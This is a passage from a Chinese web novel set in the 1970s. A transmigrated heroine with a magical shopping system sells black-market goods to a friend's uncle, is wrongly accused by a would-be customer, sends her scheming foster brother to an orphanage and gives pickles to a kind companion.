老太太眯了眯眼睛，看不太清楚，只能试探的问：“姑娘，是你不？” “嗯，出来说话吧！” 程十一的声音并不大，但也足够让那母子俩听清楚。 老太太激动得一拍腿，抓起自家儿子的手腕就朝着程十一那小跑过去。 男人看着面前的女同志，个子不高，身形也有些瘦弱，还戴着口罩，几乎遮住了她大半张脸，只露出了一双眼睛，还偏偏被半长不短的刘海遮住了一只，让人无法看清楚她的具体模样。 “同志，你是哪个大队的？” 男人打量过了程十一后，就很严肃的询问起了程十一的身份。 程十一一把将盖在筐上面的黑布重新盖上，把老太太吓了一跳，她刚刚正查看筐里的红糖呢！ “看来你们不是诚心想要来换东西的，那就不打扰了！” 程十一说完就走，半点不留情。 屁问题那么多，惯的毛病！ “哎，姑娘，姑娘你别走啊！” 老太太急了，一把抓住筐的边缘，急急说道：“我儿子脑子有问题，你别和他一般见识哈！咱们压根不想知道你是哪里来的，但是你这东西我们都要了。钱都带来了，姑娘，你别着急走，真的，别着急走。” 程十一感觉筐被人拽住了，正要用力，就听见老太太骂自己儿子脑子有问题的话。 就，怎么说呢？ 老太太，你是个会说实话的。 一旁的男人已经脸色很不好看了，又黑又红又紫的。 他问那个问题有什么毛病？他妈怎么能这么说自己？ “妈，咱们要换的可都是入口的东西，尤其还是给孩子和产妇吃的，不问清楚来历，万一里面加了什么不干净的东西了怎么办？” 男人也是急了，脱口而出的话只让老太太眼前一黑，脑子里就只剩下了两个字——完了。 果然，手中的筐猛地被人往前一拽，一个没抓住，手里空了。 程十一嗤笑一声，骂了一句“沙币”，转身就走。 不与傻缺争长短，容易被传染。 “姑娘，姑娘你别走，你别走啊！” 老太太急得追了几步，却被自家儿子拉扯着胳膊动弹不得，只能一挥手，给了自家儿子一个耳刮子。 “你个混蛋玩意儿啊！老娘做这一切都是为了谁啊？我怎么就生了你这么个缺心眼的玩意儿啊！” 第170章 算你五千五 老太太的哭骂声越来越远，程十一正要拐进一条胡同来个大变身然后回病房，突然就听见一阵自行车行驶的声音，还有一个不算大的招呼声。 “十一？是你不？” 找自己的？ 程十一脚步一顿，朝着声音来源看去，就见一个人骑着自行车，一只手里还拿着一个手电筒。 那手电筒的光亮明显是朝着自己照过来的，好在没有照脸。 声音也挺耳熟，好像是阮小舅。 “小舅舅？” 跟着阮玲玲的称呼这么喊人，应该没问题。 阮小舅的自行车停下来，见真是程十一，很是高兴：“你这丫头还没回医院啊？不过你这脚程也是够快的，我还以为半路上会遇见你呢！” “我半路上遇见了这次和我一起来这里的同伴，他有自行车，送我回来的。” 程十一面不改色的胡说八道。 阮小舅不疑有他，还点了点头：“这样挺好，大晚上的，你一个姑娘家走在路上也确实不安全。刚刚是我想错了，我应该先送你回医院。” “没事，我这不都安全回来了么。不过小舅舅，你这会儿过来是什么事？不会是专门来确定我有没有安全回医院的吧？” 程十一感觉自己的欧皇体质好像又要发挥作用了。 刚刚没从那对母子那赚到钱，但……眼前的阮小舅很有可能是来送钱的。 阮小舅左右看了看，确定没人注意到这里，实际上是周围压根就没有除了他们两个以外的活人。 “是这样，你说的那些山货我都要了，还有肉干我也要了。” 说话间，阮小舅的视线落在了程十一背着的筐，以及手里提着的篮子上面：“这些是……” 他以为程十一是大半夜的去偷摸搞零卖去了。 程十一耸耸肩：“同行的伙伴带了点私货，想着去医院试试能不能换点钱。不过很可惜，没成功。” “私货？什么？” 阮小舅来了兴趣。 程十一老老实实回答：“老母鸡，奶粉，红糖，还有卫生纸。” 卫生纸这东西，阮小舅没什么感觉，但是对于前三种却是听得双眼放光：“这些都是你们从东北带过来的？有多少？什么价？” 程十一的心里计较了下，这才开始报数。 奶粉直接报上了一百袋的数量，老母鸡这玩意儿是活的，一下子说出太多的数量也不现实，就报了个二十只。 至于红糖，这东西没有奶粉那么金贵，所以报上了两百斤。 要说多，真不算多，但要说少，那也绝对不少了。 谁家串门走亲戚的要是能带上二两红糖，那都算是不小的礼，就不难看出两百斤会是个什么样的概念。 阮小舅混在黑市这么久了，见的世面也不算少，但现在听着程十一的报数，他还是忍不住的倒吸凉气。 好家伙，这是包了哪个运输队弄过来的吧，这么多东西，光靠人力怕是没办法全都弄过来啊！ 接着程十一提起了卫生纸，和之前一样，同样扯下来一块递给阮小舅亲自感受。 虽说是个男人，但纸张的感觉完全不一样，阮小舅还是能分辨清楚的。 之前听，他没什么想法，可是现在入手了，他的想法就很活跃了。 “这卫生纸你们有多少？” 阮小舅已经能够想象得到这些卫生纸出现后会引来怎样的热销效果。 程十一歪了歪头：“这卫生纸，这么大一卷就要一块钱，数量不算多，差不多能有个千八百卷吧！要吗？” “要！” 听着这几个，阮小舅确实是心颤了下。 但这玩意儿就算那些人嫌贵不买也不怕，大不了留着自己家里人用。 他家里又不是差钱的那种人家，败家肯定是多少有点败家了，但让家里人，也让自己的腚少遭点罪也挺好。 程十一了然点头，心算了下：“我们这次出来差不多就是这些货了，卷纸的数量给你算八百，但肯定是只多不少，再加上山货和肉干，一共五千五。小舅舅，你确定都要？” 听到这个总价，阮小舅倒是没有太大的情绪波动，反而觉得这丫头可是够干脆的，五千多的生意就这么三两句话定下来了。 “要，怎么交易？” 阮小舅问。 程十一指了指医院的方向：“医院后门所在的胡同，你现在就去安排人接货，我在那里等你。到时候你给我钱，我带你们去取货。” 阮小舅定定的看了程十一足足两秒钟，这才点点头：“行，我这边最多十五分钟就能到位。” “可以，我先去找我的同伴们了。” 程十一说完就朝着胡同里面走。 本来是要进来大变身的，现在妥了，就当做是自己那些不存在的同伴藏身的地方吧！ 阮小舅骑着自行车又走了。 确定对方走远了，程十一这才绕着医院的围墙来到了后面的小门。 小门不大，所在的是条还算宽敞的马路。 只是不知道是不是距离太平间有些近，这里格外的安静。 别说是人影了，就连只老鼠的影子都瞧不见。 倒是有路灯，只是那路灯散发出来的光显得格外的惨白。 啧，这气氛，还真有点儿让人感觉后脊梁骨发凉啊！ 不过程十一并不害怕。 她已经是死过一次的人了，见过的尸体更是数不胜数。 程十一顺着后门进入到了医院。 后门旁边有个花园，说是花园，其实不过就是摆着一张石桌，还有几排椅子，还有一些树木。 只不过这会儿季节不对，树木的叶子都落了，只剩下了干枯的树枝在支楞巴翘的冲向天空。 路灯距离这里有点远，光亮不足以照亮树林里，但又不是完全的黑。 程十一将之前报的物资全都摆在了树林里，全都是麻袋或者是背筐装着的。 奶粉的外包装已经拆了，全都是透明的塑料袋包装，一袋一斤，和现在市面上卖的奶粉在份量上有很大的不同。 现在市面上的奶粉基本上都是一斤八两左右的包装。 不过，这无所谓，反正里面是真奶粉就行了。 至于红糖就是用油纸包包装的了。 卫生纸也是用透明塑料袋包装起来的，不过是一大包，里面有五十卷。 没有任何的标识，就这么摆在地上，还别说，白不刺啦的还真有点吓人。 第171章 认错人了 腊肉和肉干也都是用油纸包裹好，在用绳子捆绑结实放在了大筐里。 数量和重量这些也不需要程十一自己清点，系统早就已经安排妥当。 弄好这些，程十一就去了后门等着。 没几分钟，就听见了一阵脚步声过来。 听着那声音，人数不少，但都刻意的放轻脚步。 不用想都知道是阮小舅带人过来了。 果然，在看到程十一手里的手电筒光亮后，阮小舅用自己的手电闪了闪。 程十一看得嘴角直抽抽。 好家伙，搞得跟什么似的。 不过她也学着阮小舅的样子闪了闪手电，对方的速度陡然加快了不少。 “东西都在里面，你们是先清点还是先拿走我就不管了。” 程十一靠在一侧的墙上，朝着树林的方向抬了抬下巴。 阮小舅朝着树林看了一眼，又看向程十一：“就你一个人在这里等我们？” “不然呢？整一队人在这里守着，万一被人发现了，想全都跑掉都不容易。” 程十一一脸的满不在乎。 阮小舅的嘴角抽了抽，对着程十一竖起大拇指，随即将身上的挎包摘下来直接塞给程十一：“钱都在里面，你是现在点点，还是等回去再点？” 这话听起来有点耳熟，好像在哪里听到过。 程十一掂了掂挎包的份量，同时让系统清点，很快就得到了准确数字。 不多不少，刚刚好。 “份量没问题，就这样。小舅舅，那我先走了，你那货要是有什么问题，就让玲玲和我说。” 程十一并没有等他们清点完货后才离开，不仅她没有等，还提醒道：“这里应该快有人巡逻过来了，你们抓紧离开。” 一听这话，阮小舅的脸色就是一变，也顾不得和程十一多说了，赶紧就去和自己人汇合。 大家看到这么多东西本来还挺兴奋的，但是一听说有巡逻队，他们也顾不得别的，赶紧或背或扛的直接走人。 程十一也没从后院回去，而是从后门出去后绕了半圈，寻了个黑暗的角落换回了白天里的衣服，手里又多了个筐，这才一瘸一拐的往医院的大门口走。 这次不是装的一瘸一拐了，是真的一瘸一拐。 药效过去了，疼痛感袭来，让程十一发誓等下回到病房一定要再买一粒止痛药才行，否则就这疼痛的感觉怕是让她今天晚上根本没办法好好休息。 刚一进医院大门口，程十一就看到了住院部门口站着好几个人。 也看不清楚脸，光从那些人的穿着打扮上看，似乎是……官方的人。 程十一眉心一跳。 别不是那母子俩没事找事的去报了官吧！ 不过……和她没关系。 程十一微微垂着头往里面走，一瘸一拐的身影很快就引起了门口那些人的注意。 当即就有一个男人走上前，先敬了个礼，这才问道：“同志，你是什么人？现在来到医院有什么事？” 程十一抬头看向他。 四目相对，对方就是一愣：“是你啊！小程同志，你怎么会在这里？” “我去我同学家一趟，她有几套旧衣服送我了，我这不是取回来了么。” 程十一说着将自己的筐往前送了送。 里面是几个油纸包。 男人下意识的要将东西拿出来，想到什么又停住了：“你没去别的地方吧？” “我还能去哪里？” 程十一苦笑，抬了抬受伤的那只脚：“都这样了，我就算想走也走不了啊！” “也是。那你赶紧回病房吧！医生说了，你脚上的伤口虽然不是很大，但也得好好养着才行，万一感染就麻烦了。” 男人说着侧开身，还做了个请的动作。 程十一也没着急走，而是递给对方一把糖：“大晚上的还有工作，辛苦了，吃块糖吧！” 也不等对方伸手接，她就直接将糖塞到了对方的衣兜里，自己也剥了一块糖纸，将糖块送到嘴里。 橘子味儿的，酸酸甜甜，味道不错。 “同志，就是她！” 突然，另外一个男人的声音很是激动的乍响。 程十一和面前的小同志全都朝着那人看去。 只一眼，程十一就认出来那个就是之前老太太的儿子。 好家伙，这是狗急跳墙了？不过他们之间好像也没有什么太大的仇怨吧！就算是和老太太有过交易，那也是你情我愿的事啊！ “这什么情况？” 程十一嘴里含着糖，问身边的男人。 “说是被人给骗了，可是问他都被骗走了什么他又说不上来。小程同志，时间不早了，你还是赶紧回去歇着吧！我们部长说了，明天中午会安排人来给你送午饭。” 这是不想继续多介绍的意思。 程十一也不在意，点点头，又摆摆手就要离开。 谁知刚走没两步就被人给挡住了去路。 老太太的儿子很是激动的指着程十一的鼻子，对着一旁的工作人员说道：“就是这个人！我认得她的身形！” “你有毛病吧！” 程十一直接没好气的打开了对方的手：“好狗不挡道！让开！” “是啊，小王同志，你还是让开吧！小程同志是个伤员，你之前可没说你见到的那个人是个瘸腿的。” 跟上来的工作人员站在了程十一跟前，一副保护的姿态。 老太太儿子却更激动了：“不可能！就是她！她根本就没瘸，之前她逃跑的时候速度可快了！” 程十一问号脸。 不是，她啥时候逃跑了？ 对方挡住不让路，还叫嚣着工作人员徇私枉法。 最后没办法，经过程十一的同意，叫来了医生，现场给程十一来了个换药。 也确实是该换药了，就是换药的地方不是自己的病房。 程十一懒得多争辩这些，大大方方的展示出来，这才是最好的出击。 果然，在看到程十一脚底板的伤口后，老太太的儿子傻眼了，赶过来的老太太也傻眼了。 这还真是……受伤了啊！ 脚底板有伤口，就算是再怎么坚强，走路跑步的时候也得受到影响吧！ 可是想想他们之前看到的身影，那真是怎么看都不像是脚底板有伤的人啊！ 所以，真是认错人了？ 第172章 我知道你不想带着我一起走 认错人了怎么办？ 道歉赔偿呗！ 对方当着在场所有人的面对程十一鞠躬道歉，还要另外赔偿五个鸡蛋作为精神损失费。 五个鸡蛋不多，程十一不缺，但却不可能不要。 男人那叫一个憋气，可又不死心，又拉着工作人员去门口守着，一副非要将那个女人守出来的架势。 程十一也不管他，在护士小姐姐的搀扶下一瘸一拐的回到了病房。 打了小半盆冷水，兑上暖壶里的热水，给自己好好的擦了一遍身子就回到床上钻进了被窝。 今天一天的收成不错了，算上从老王家茅厕里收的东西，已经完全回本，甚至还有的赚。 拖拉机的事情搞定，王家也彻底被拍死，还搭上了阮小舅的这条线。 啧，还别说，这欧皇体质果然不是盖的。 受伤这个有点糟心，但也不是完全没有好处。 养伤这段时间都不用自己花钱花票，就连回去的车票都有人管。 关键是自己可以名正言顺的躲过秋收了。 真是越想越美妙！ 就在这样美妙的心情中，程十一沉沉睡去。 …… 咔嚓！ 一声惊雷，将睡着的程十一猛地惊醒，人直接从床上坐了起来。 “别怕，只是打雷了。” 一旁响起男人低沉温柔的嗓音，又将程十一惊得差点没从床的另外一侧表演倒插葱。 还好顾青反应够快，一把拉住了程十一的胳膊，又让人稳稳的坐回床上。 “小心些。” 顾青说着松开了手，这才将身上的背包卸下。 程十一定了定心神，看看顾青，看看病房，又看看窗外。 哦，对，自己早就已经不是在末世里面了，这就是正常的打雷而已，并不是又有什么天灾降临。 闭上眼睛，程十一让自己镇定下来，再睁开眼，眼睛里的紧张慌乱已经散去：“你来得好早。” 话一出口，程十一就感觉自己说错了。 这话说得好像嫌弃人家打扰自己休息了似的。 顾青却微微一笑，也不生气，反而还露出自己的手表来点了点：“七点半了，不早了。” “都七点半了？” 程十一震惊脸。 看到顾青将手表送到自己面前，看着上面的时针分针，程十一瘪嘴，小声哔哔：“明明才七点二十三，还没到七点半呢！” 顾青：？？？ 还能这么算？ 有点哭笑不得。 “行，还没到七点半，是我说错了。” 顾青笑着摇头：“我去买早饭，你想吃什么？” “都行吧！” 程十一没意见。 刚醒，还是被惊醒的，真是没什么胃口。 顾青拿着饭盒就出了病房。 程十一也不着急洗漱，反而将放在床底下的筐扯了出来。 那几个油纸包确实是几身旧衣服，不过不是阮玲玲的，而是她自己的，为的就是装个样子而已。 而在油纸包下面则是放着几个罐头瓶子，都是一些小咸菜，还有肉酱。 全都是程十一亲手……从商城里买回来的。 而且也是她亲手拆包后挤进罐头瓶子里的。 嗯，怎么不算是她亲手做的呢？ 这就是程十一给顾青准备的礼物。 之前在火车上的相处里，程十一也看出来了，顾青是个很爱惜粮食的人，也不是个贪图口腹之欲的人。 剩下的菜汤也会被他用馒头沾干净了吃下去，如果实在没有菜汤了，就算是咸菜也行。 这样不挑食的人，又是交给国家的人，程十一是真想不出给对方准备些什么礼物。 想来想去，最后还是决定选择咸菜和肉酱。 这些东西存放的时间长，也不显得特别昂贵，不会让人有心理负担。 挑挑拣拣，程十一挑了一瓶八宝咸菜出来，准备早饭的时候开盖先吃。 咸菜拿出来放在了床头柜上，程十一这才一瘸一拐的去打水洗漱。 洗完脸，刷了牙，程十一端着水盆回到病房，刚到门口，就听见了里面传来秦爱民的说话声。 不过不像是和顾青说话，反而还有点像是在哄孩子。 “……知道不？反正你就这么一次机会了，要是抓不住，那我也没招。” 程十一刚一进门就听到了秦爱民的这一番话，而视线所看到的就是秦爱民正坐在窗旁的沙发里和另外一侧沙发里的小孩子说话的画面。 那个小孩子是…… “你们怎么来了？” 程十一的眉头微皱。 昨天不是已经说好了要将王宝智送去孤儿院的吗？怎么又带到自己这里来了？ 秦爱民心虚的摸了摸鼻尖，讪笑说道：“小程同志洗漱回来了啊？那什么，这不是过来看看你吃没吃早饭吗？我去买饭，你要吃什么？鸡蛋包子还是豆浆油条？” “不用，顾青去买了，等下就回来了。” 程十一将水盆放下，又问：“你带着他来这里干什么？昨天不是都已经说好了吗？你要反悔？” “没，没。” 秦爱民赶忙摆手：“昨天晚上这小子就是在我单位睡的，这不是一早上的我就要把他送过去吗，路过你这里，所以来这里看看。” 见程十一的脸色还是不太好看，秦爱民又道：“那我去找顾青，让他多买点，咱们这四个人吃，两个人的口粮可不够。” “你好意思让顾青花钱？” 程十一嗤笑。 她要是相信了他的解释那才叫有鬼。 这人肯定还想着让自己带着王宝智一起过。 可是凭什么？ “不用他，我花钱我花钱。” 秦爱民起身就大步朝着门口走，那样子颇有种落荒而逃的感觉。 出门的时候还不忘将病房门带上，着实让程十一更加坚信自己的猜测。 房门一关，隔绝了走廊里的喧闹，病房里显得安静许多。 程十一回到病床上坐下，就这么直勾勾的看向王宝智。 王宝智缩了缩脖子。 身上的衣服已经换了，就连头发都被剪短，看起来精神不少。 不过那衣服明显要大一些，应该是别人给的。 不等程十一想好怎么开口，就见王宝智先出声：“二姐姐，我，我知道你不想带着我一起走。” 此话一出，程十一的眉毛就是一挑：“所以呢？” “所以我会去孤儿院的。” 王宝智抬头看向程十一，明显瘦削的脸颊上带着浅浅的笑：“二姐姐，以前，对不起，我，我不应该和哥哥姐姐们一起欺负你。以后你好好的，秦伯伯说跟着你要比去孤儿院好过，但，但我还是想去孤儿院。二姐姐带着我，日子会很难过，我不想让二姐姐再难过了。” 第173章 王宝智的以退为进 好一招以退为进！ 程十一眸光微闪。 这小东西一脸的诚恳，差一点就把她骗到了。 还好原主记忆中里有不少这小子装无辜装可怜的小白莲模样，否则真就让他成功了。 “你这样想的啊！那行，你好好在孤儿院学习长大，等长大后要做一个对国家，对人民，对社会有用的人。” 程十一顺势接话，还一副老怀甚慰的模样。 只见王宝智的那张小脸儿上明显的僵硬了下，显然是没想到程十一会是这样的反应。 程十一就当没看见似的，继续说道：“你这么聪明，到了孤儿院一定能够过得很不错。但是孤儿院到底不是自己家，你要学会眼里有活。毕竟外面的人和你二姐我不一样，不是你卖卖乖，装装可怜就真的什么都不用你做了。” 语气还是那副苦口婆心的状态，可就是说出来的话怎么听怎么奇怪。 王宝智的脑袋瓜不够用了，这已经超出了他的认知范围，一时间竟然不知道该怎么应对。 程十一却不给他分析的机会，直接指挥道：“给我倒杯水。” “哦。” 王宝智乖乖的起身去倒水，然后小心翼翼的端着送到程十一跟前。 这边程十一刚接过水杯，王宝智还不等回到沙发里坐下，就听程十一又道：“去打盆水，不用太多，等下吃饭之前洗手用。” “哦。” 王宝智乖乖的拿起水盆出去了。 等到顾青和秦爱民回来时，就看到前面一个不大的身影小心翼翼的往前走。 秦爱民怎么看怎么觉得眼熟，大步上前，就见是王宝智正端着一盆水。 不到半盆的水，可架不住盆沉，王宝智没有多少力气，累得他一张小脸儿都红了，也不敢停下，就这么一点点的挪，生怕水盆里的水洒出来。 “你这孩子怎么还打上水了？给我给我。” 秦爱国空出一只手，单手就将水盆接了过来。 王宝智松了口气，这才小声说道：“姐姐说吃饭前要洗手，所以先打水。” 秦爱国：…… 有道理是挺有道理的，但，去水房一样能吸收，还非要打盆水回来干什么？而且还是让屁大的孩子打水，确定这不是故意在折腾人？ 此时程十一正站在沙发旁边，看着窗外的风景。 因为一只脚受伤的关系，她就这么斜靠在沙发的椅背上。 天晴了。 就只是这么短的时间里，天空就放晴了。 地面上还有残留的积水，证明着清晨的那一场雨真的存在过。 窗户打开，夹杂着湿气的空气扑面而来，有点冷，但很清新。 听到门口有声音，程十一这才转身看过来，就见顾青一手拿着一个饭盒走进来，胳膊上还挂着个网兜，里面是几个油纸包。 “吃饭。” 顾青很自然的说出这两个字，没有什么特别的语气，就和之前在火车上的相处一样。 程十一微笑，点头，回到床上。 还不等她坐好，就看秦爱国进来了。 一手端着个水盆，一手拿着一个油纸袋，袋口还支棱着几根油条。 “你这丫头，你弟弟才多大点儿的人儿，你让他去打水，也不怕他打的一身水。” 秦爱国没好气的说了这么一句。 程十一的视线落在王宝智的脸上，只见这小子快速的低下头，一副做错事的模样。 嘴角浮现一抹冷笑，很快又消失不见。 “领导，你这话就说错了。他自己说要去孤儿院，到了那地方，孩子多，老师少，肯定不可能像在家里那样被人照顾。像是打水这种事肯定是要自己做的，现在让他做不过是提前让他熟悉一下而已。” 这番话说得秦爱民的脚步一顿，本来要放下水盆的动作都停在了半空中，诧异的看向身旁跟着的王宝智：“你决定去孤儿院了？” 不是，来的时候不都说了吗，跟着他二姐，跟着他二姐。 就算再不是亲姐姐，可到底也是从小生活在一起的，多少还是有情分在的，怎么都要比去孤儿院强啊！ 王宝智抬头看向秦爱民，眼睛里带着眼泪，很是委屈的样子。 程十一一直在注意着这俩人的反应，见此，她直接说道：“领导，王宝智小同志自己说的不想连累我，也不想让我过得辛苦了，所以主动要求去孤儿院的，不信你问他。” 问？ 他刚刚就在询问这小子啊！ 王宝智的表情有是一僵。 他想不明白从小到大一直都很好骗的二姐这次怎么就骗不到了呢？ 而且还不是一次骗不到，而是接二连三的骗不到。 前天晚上嫌弃自己，他还能以为是自己不干净，穿得太脏了，所以才会被嫌弃。 可如今自己剪短了头发，还换上了干净的衣服，二姐为什么还嫌弃自己？ 秦爱民是一个喜欢孩子的人，但再喜欢也不会让他没了最基本的辨别能力。 就在这小子表情僵硬的那一瞬间，秦爱民突然就明白过来了。 好家伙，这小子是想以退为进啊！ 不过很显然，他的以退为进玩脱了，人家小程同志压根就不接招，还顺坡下驴。 一时间的，秦爱民都不知道是该笑还是该无奈。 但这样也好。 王宝智这小子年纪不大，心眼子太多，如果真的跟在程十一身边，保不齐还会不会闹腾出别的什么事情出来。 小程知青也是个命苦的，终于脱离了王家那个火坑，那就别让她再多沾染上王家分毫了。 虽说调查还是要调查的，但应该不会再有什么大事。 算了，他也就不做那个恶人了。 “行，既然决定去孤儿院了，那等下我就送你过去。” 秦爱民说完这句话就放下了水盆，又将装了油条的油纸袋放在了桌子上，这才洗手，全程都没有再多看王宝智一眼。 这下王宝智彻底傻眼。 为什么不好用了？ 这是为什么？ 明明以前只要自己装可怜，装懂事，大家都会宠着自己，会将最好的送到自己面前。 可是现在为什么都不好用了？ 他想不明白，其他人也没有任何要为他做解答的意思。 哪怕是在吃早饭的时候甚至都没人问他想要吃什么，就只是塞给了他一个素馅的包子便没有了。 第174章 舍不得弟弟？我装的 顾青和秦爱民都是在程十一的病房里吃的早饭。 秦爱民吃完后就带着王宝智离开了，不过临走前，程十一还是拿出了十块钱：“领导，我这情况也不方便出去，就麻烦你把这钱交给孤儿院吧！我这能力有限，再多的也做不到了。” 看着程十一手里那皱皱巴巴的十块钱，也不知道是被攥多久了，居然能皱巴成那个样子。 秦爱民的心情很复杂。 之前他还觉得小程同志太不顾念姐弟情分了，居然就真的舍得让自己从小照顾大的弟弟去孤儿院，可是今天早上看到王宝智的表情变化，再到现在程十一主动拿钱出来。 嗯，虽然十块钱也不算很多了，可她一个下乡知青手里本来也没多少钱，估摸着这是拿出来好几个月的嚼用了吧！ “不用，孤儿院那边有官方支持，也有好心人士的捐赠，不需要你这钱的。” 秦爱民摆手：“你才下乡，今年还没分粮食吧！这点钱你就自己收着吧！回头粮食要是不够吃了还能换点粮食。收着吧！” 说完，秦爱民拉起王宝智的手就往门口走。 王宝智的脑子还是懵懵的，回头看程十一，却见程十一手里拿着钱，伸着胳膊，一副想要给钱的样子。 这一幕刻在了王宝智的心坎上。 二姐其实也是舍不得他的，只是，二姐也没有能力带着自己一起生活了。 顾青看着这一幕，心情也是非常的复杂。 哪怕嘴上说着养不起一个弟弟，但实际上，小程知青的心里也是放不下的吧！ 见那一大一小出了病房，顾青就去关上了房门，还是别让小程知青太难受了，关门隔绝外面的声音，也许心情能好一些。 顾青关了病房的房门，转身的时候还在想着自己要怎么才能安慰小程知青。 谁知就在他转过身，视线落在病床上的那个身影时，却看到…… 程十一双手捏着大黑十，吧唧一口亲在了上面，接着喜滋滋的将钱展平，随即从衣兜里拿出了个手帕。 打开手帕，里面是一沓毛票，将展平的大黑十包在了最外面，又重新将钱折叠起来，用手帕包好，重新放进自己的衣兜。 一套动作行云流水。 脸上的表情哪里还有半点难过和不舍啊，简直就差没把“我快开心飞了”几个字刻在脸上了。 顾青感觉有点恍惚。 这小程知青也不是想象中的那么……单纯。 不过也是，谁家单纯懵懂啥都不知道的小姑娘还会知道偷摸送礼的？ 谁家普普通通的小姑娘能轻易搞定拖拉机的？ 所以，一直都是自己的认知出现了问题。 啧，是自己眼拙了。 顾青失笑摇头，给程十一的水杯里重新续了热水，这才问：“这么高兴？” “高兴啊！省下十块钱呢！” 程十一摇头晃脑：“十块钱，你知道能买到多少东西不？” 顾青笑着摇头。 不是不知道，就是感觉这小姑娘似乎很想显摆显摆她所知道的，所以自己只要摇头配合就行。 果然，程十一一看他摇头，当即依旧来了兴致，开始巴拉巴拉的算十块钱的购买力。 什么能买多少个鸡蛋，多少斤米面，能买多少蛤蜊油甚至是雪花膏。 总之她能想到的全都说了一遍。 当然，是十块钱单纯买一种商品所能买到的数量。 顾青也不觉得烦，甚至还觉得挺有意思的。 这样叽叽喳喳的小程知青看起来可要比只会看连环画的小姑娘要有趣多了。 没多会儿医生来查房了。 程十一本来也没什么大事，只不过是官方那边特意嘱咐过一定要好好的照顾，医院这边也就不得不把她当成是个重症患者一般对待。 绷带拆了看了看，伤口早就不出血了，不过还是叮嘱了一番不能受力、不能沾水之类的，这才离开。 被这么一打断，程十一也不叽叽喳喳了，反而让顾青将病床底下的筐拽了出来：“你把衣服拿出来，下面的东西是我给你准备的。” 随着程十一的吩咐，顾青拿出了那几个油纸包。 入手的手感和重量让他知道那是几件衣服，应该是新的吧！要不然谁家旧衣服会用油纸包包着？ “这衣服是要送回招待所的吗？”顾青问。 程十一这才想起来自己在招待所里还有房间。 完了，这不是白白交了两天的费用吗？ 亏了！ 程十一心里心疼了那么一下下，随即摇头：“不用，我回头去把房间退了，这几天住院，那边就不用了，要不然浪费钱。” “行，那我去退，你的东西我给你送过来。” 顾青想也没想的就接了这么一句。 程十一想说不用麻烦，可是想到自己的腿脚，还有外面的青天白日，果断还是选择了接受。 “你先看看我给你准备的东西吧！都是一些咸菜和酱，也不知道你嫌不嫌弃。” 程十一多少还是有点不好意思。 人家又是请客吃饭又是帮忙拎东西，甚至是订车票，自己的回礼就只有一些咸菜和酱。 顾青此时也拿出来了一个罐头瓶子，看着里面花花绿绿的各种咸菜，他一时间都有些分不清里面都有些什么。 “这是咸菜？” 顾青问。 瞧着颜色，好像是咸菜，但这咸菜的颜色也太花里胡哨了吧！ 程十一点点头，看了看罐头瓶子里面的景象，介绍道：“这是八宝咸菜，其实就是很多种不同的咸菜拼在一起，味道还行。” 顾青又拿起了一瓶，红褐色的酱，里面能看到一些颗粒，只是分不太清楚到底是什么东西。 “这是蘑菇酱，放心，蘑菇都是没毒的，可以吃。” 程十一再次介绍。 之后又介绍了下别的咸菜和酱。 顾青听得都不知道该说点什么才好了。 就是咸菜和酱而已，没想到还能做出这么多种花样出来。 再想到早饭时候吃到的那瓶咸菜，顾青突然就有点好奇其他咸菜的味道是什么样的了。 记忆中的咸菜除了咸就没别的了，可小程知青拿出来的咸菜除了咸这个底味儿外，还有别的味道，就很不错。 “谢谢，我很喜欢。” 顾青将罐头瓶子一一摆放在沙发中间的桌子上：“这次我收下了，不过这一路的花销你就别和我算了。” 顾青也不是什么都不懂的毛头小子，他感觉得出来这姑娘一直都想和自己计算得清楚些，只不过被自己拒绝了几次后就不再开口了。 现在突然弄出了这么多咸菜和酱，怕是就是想偿还自己这一路来的花销吧！ 第175章 要给顾青送站 程十一当即点头表示答应了。 两个人就这样结束了这一路来的花销问题，只是这样一来，俩人的聊天话题好像也结束了。 顾青看着程十一，程十一看着顾青，四目相对没超过两秒钟，顾青就转移自己的视线。 突然感觉有点尴尬是怎么回事？ 程十一眨眨眼，有点好奇。 顾同志的耳朵后面怎么红红的？难不成脸被晒黑的同时，耳朵后面也跟着被晒黑了？ “咳！” 顾青突然握拳在嘴边轻咳一声：“那个，时候不早了，我先去招待所取你的行李。” “好，麻烦你了。” 程十一没拒绝。 顾青刚走，房门就被人敲响。 还以为是顾青又回来了，程十一随口说了句进，连身都没翻一下，就这么背对着病床看连环画。 “钥匙忘……” “十一！” 程十一的声音和门口的女孩声音同时响起，不过很显然，后者的声音更大。 程十一被吓了一跳，赶忙翻身坐起来，就见阮玲玲走了进来，身后还跟着个拎着两个网兜的阮小舅。 “你们怎么来了？” 程十一很惊讶。 自己昨天倒是说了受伤住院的事，可那时候是真的没想过阮玲玲来看自己啊！ 阮玲玲赶紧上前，上下打量了下程十一，确定人没事，这才松了口气，拉着程十一的手直接坐在了病床边缘：“你昨天晚上不是说受伤了么，我就想着过来看看。本来我妈今天要陪我过来的，但是我小舅说他有时间，就陪着我过来了。” 说着，阮玲玲还挤了挤眼睛，一副明显真相不是这样的意思。 程十一一阵好笑，但还是道了谢，这才看向了刚将网兜放在一旁桌子上的阮小舅。 阮小舅的精神状态看起来似乎很不错，整个人都很开心的样子，就是……眼底的青黑有点明显，似乎是一整晚都没睡。 “小舅舅，昨天怎么样？” 没头没尾的一句话，不过在场的三个人都明白是什么意思。 阮小舅看了一眼门口的方向。 门已经被他随手关上了，但还是看了一眼，这才低声道：“一切顺利，很不错。” “那就行。” 程十一咧嘴一笑：“小舅舅，给我俩剥个橘子吃呗！” “行！” 阮小舅一点怨言都没有。 接下来房间里就是两个女孩子叽叽喳喳的讨论声，先是讨论衣服、裙子，再讨论吃的，尤其是提到了程十一之前送到家里的山货，阮玲玲简直是赞不绝口。 程十一听得高兴，又见阮小舅在一旁已经开始点头了，一看就是困劲上来了，当即坏心的嘿嘿一笑，高声说道：“小舅舅，那些山货你吃着咋样？要不回头我回去了再给你邮寄点过来啊？” “什么？多少斤？” 阮小舅瞬间清醒。 一对上程十一和自家外甥女笑嘻嘻的表情哪里还有不明白的，这俩丫头是涮自己玩儿呢！ 没好气的瞪了她们俩一眼，阮小舅说道：“我刚刚在医院外面的供销社看到今天有奶油冰棍，你俩吃不吃？我去给你俩买。” 这个天气吃冰棍，程十一表示自己很无力，当即摇头拒绝。 阮玲玲本来是想吃的，可是见程十一摇头了，她也就跟着摇头。 好吃的自己吃，好姐妹看着，她可吃不下去。 阮小舅打了个哈欠：“那你俩聊，我出去抽根烟。” 说着，阮小舅起身出去了。 房间里就只剩下了程十一和阮玲玲两个人。 阮玲玲正要低声询问什么，却被程十一做的噤声动作制止。 